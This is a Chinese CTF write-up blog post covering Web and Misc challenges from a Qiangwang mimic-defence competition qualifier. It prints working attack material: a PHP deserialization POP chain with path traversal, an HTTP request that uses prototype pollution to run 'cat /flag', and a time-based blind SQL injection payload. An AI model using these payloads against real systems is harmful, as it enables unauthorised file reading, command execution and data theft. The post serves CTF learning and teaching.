首页 > 其他分享 >第五届“强网”拟态防御国际精英挑战赛初赛——Web Misc

第五届“强网”拟态防御国际精英挑战赛初赛——Web Misc

时间:2023-02-05 15:31:32浏览次数:36  
标签:username Web guess .. hint Misc 初赛 low password

之前团队参加了第五届“强网”拟态防御国际精英挑战赛初赛,又是收获满满的一次,和全国很多大佬们一块同台竞争,最重要的是,通过比赛我们学到了很多新的方法和技能,下面让我们一块看看Web,Misc中比较不错的几个题。

一、Web

题目:ezus

通过/index.php/tm.php//%a1?source=可以直接获取源码,打一下就可以获得flag。

<?php
class UserAccount
{
protected $username;
protected $password;


public function __construct($username, $password)
{
$this->username = $username;
$this->password = $password;
// $this->password = new order("suanve://localhost@prankhub/../../../../../../../Users/su/Downloads/fastify/flag","file://try/pass//php:");
}
}


function object_sleep($str)
{
$ob = str_replace(chr(0) . '*' . chr(0), '@0@0@0@', $str);
return $ob;
}


function object_weakup($ob)
{
$r = str_replace('@0@0@0@', chr(0) . '*' . chr(0), $ob);
return $r;
}


class order
{
public $f;
public $hint;


public function __construct($hint, $f)
{

$this->f = $f;
$this->hint = $hint;
}


public function __wakeup()
{
//something in hint.php
// if ($this->hint != "pass" || $this->f != "pass") {
// $this->hint = "pass";
// $this->f = "pass";
// }
}


public function __destruct()
{
if (filter_var($this->hint, FILTER_VALIDATE_URL)) {
$r = parse_url($this->hint);
if (!empty($this->f)) {
if (strpos($this->f, "try") !== false && strpos($this->f, "pass") !== false) {
@include($this->f . '.php');
} else {
die("try again!");
}
if (preg_match('/prankhub$/', $r['host'])) {
@$out = file_get_contents($this->hint);
echo "<br/>" . $out;
} else {
die("<br/>error");
}
} else {
die("try it!");
}
} else {
echo "Invalid URL";
}
}
}


// @$username = $_POST['username'];
// @$password = $_POST['password'];


$username = "@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@";
$password = '";s:11:"%00*%00password";O:5:"order":2:{s:1:"f";s:21:"file://try/pass//php:";s:4:"hint";s:80:"suanve://localhost@prankhub/../../../../../../../Users/su/Downloads/fastify/flag";}';
$password = urldecode($password);
// unserialize($password);
$a = new UserAccount($username, $password);
$user = serialize($a);
echo $user;
echo "pop:".object_weakup(object_sleep($user));
unserialize(object_weakup(object_sleep($user)));

最后在Burp里面一跑就得到了flag。

题目:WHOYOUARE

这道题目难度系数不高,Burp抓包之后,直接污染参数,再通过执行任意命可以直接getflag。

POST /user HTTP/1.1
Host: xxxxxxxxx:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 121
{"user":["{\"constructor\":{\"prototype\":{\"2\":\"cat /flag\"}},\"username\":\"admin\",\"command\":[\"-c\",\"-i\"]}"]
}


题目:popsql

通过题目名我们应该就知道,这道题目的突破口是sql注入,直接benchmark注入,果然......​

sys.schema_table_statistics 
sys.x$statement_analysis Fl49ish3re.f1aG123


'password' : f"a'or/**/if((select/**/strcmp(ord(right((select(group_concat(f1aG123))from(Fl49ish3re)),{i})),{s})),1,benchmark(7000000,sha(1)))/**/or'a"


二、Misc

题目:Welcome

这道题是本次比赛的签到题,打开txt就能看到flag了  不再多说


题目:babymisc

又是一道数迷题,猜数字

from pwn import *
# context.log_level = 'debug'
while True:
io = remote("172.51.243.74",9999)
io.recvline()
io.recvline()
io.recvline()
io.sendline("Y")
#
low = 0
up = 999999
# guess = 454346
for i in range(15):
guess = round((int(up)+int(low))/2)
s = ""
try:
s = io.recvuntil(b"Please enter a number:")
except:
io.interactive()
print(b"[+]"+s)
if b"Please e" not in s:
print(s)
break


# s = io.recvuntil(b"Please enter a number:")\
print(f"[*] GET {s}")
if "low" in str(s):
low = guess
guess = int ((up - low) / 2) + low
# print(low)
elif "up" in str(s):
up = guess
guess = int ((up - low) / 2) + low
# print(up)
else:
guess = int ((up - low) / 2) + low
guess = int(guess)
print(f"[*] SEND {guess}")
io.sendline(f"{guess}")
if "lost" in str(s):
break
elif "flag" in str(s):
print("flag!!!!!")
break

标签:username,Web,guess,..,hint,Misc,初赛,low,password
From: https://blog.51cto.com/u_15945480/6038289

相关文章

  • WebAPI_DAY5
    滚动事件当页面进行滚动时触发目的:页面滚动到某个区域后做一些处理,比如固定导航栏,比如返回顶部事件名:scrollwindow.addEventListener('scroll',function(){})监听某......
  • web 前端 UI 库
     2022年比较火的web前端UI库名称简介iViewiView是一套基于Vue.js的开源UI组件库,主要服务于PC界面的中后台产品。iView的组件还是比较齐全的,更新......
  • webpack-cnblog
    1.webpack定义用于现代JavaScript的静态模块打包工具解决的问题模块依赖代码编写less转cssts转js开发效率热加载项目优化压缩,打包2.load......
  • IDEA/WebStrom Deepin/UOS桌面图标创建
    IDEA[DesktopEntry]Categories=Developer;Comment=IntelliJIDEAExec=/home/xxx/app/idea-IU-221.5080.210/bin/idea.shIcon=/home/xxx/app/idea-IU-221.5080.210/b......
  • 第六十六章 使用 Web 服务监控 IRIS - IRIS 对 WS-Monitoring 的支持概述
    第六十六章使用Web服务监控IRIS-IRIS对WS-Monitoring的支持概述本附录介绍并简要描述了如何使用IRIS®数据平台支持WS-Management规范,它使能够通过SOAP远......
  • WebSocket服务器
    //创建websocket服务器 ws_server.php//https://wiki.swoole.com/wiki/page/479.html//创建websocket服务器对象,监听0.0.0.0:9502端口$ws=newswoole_websocket_se......
  • ASP.NET Core Web API 中控制器操作的返回类型
    ASP.NETCoreWebAPI中控制器操作的返回类型ASP.NETCore为WebAPI控制器操作返回类型提供以下选项:特定类型IActionResultActionResult<T>HttpResults特定类......
  • webbench安装及压力测试web
    一、webbench简介Webbench是知名的网站压力测试工具,它是由Lionbridge公司开发。WebBench是用于对WWW或代理服务器进行基准测试的非常简单的工具。使用fork()模拟多......
  • web框架常见概念
    web框架常见概念web应用模式djangoweb框架是专门用来写web项目我们在django的学习中可以体会到,后端人员要写后端,但是也需要写模板语法,这也可以理解为全栈开发,但是随着......
  • 信息安全之web渗透测试思维导图
    一、概述本文包括以下安全思维导图:Web常见漏洞信息收集社会工程学技巧代码审计弱点检测初级安全技术学习路......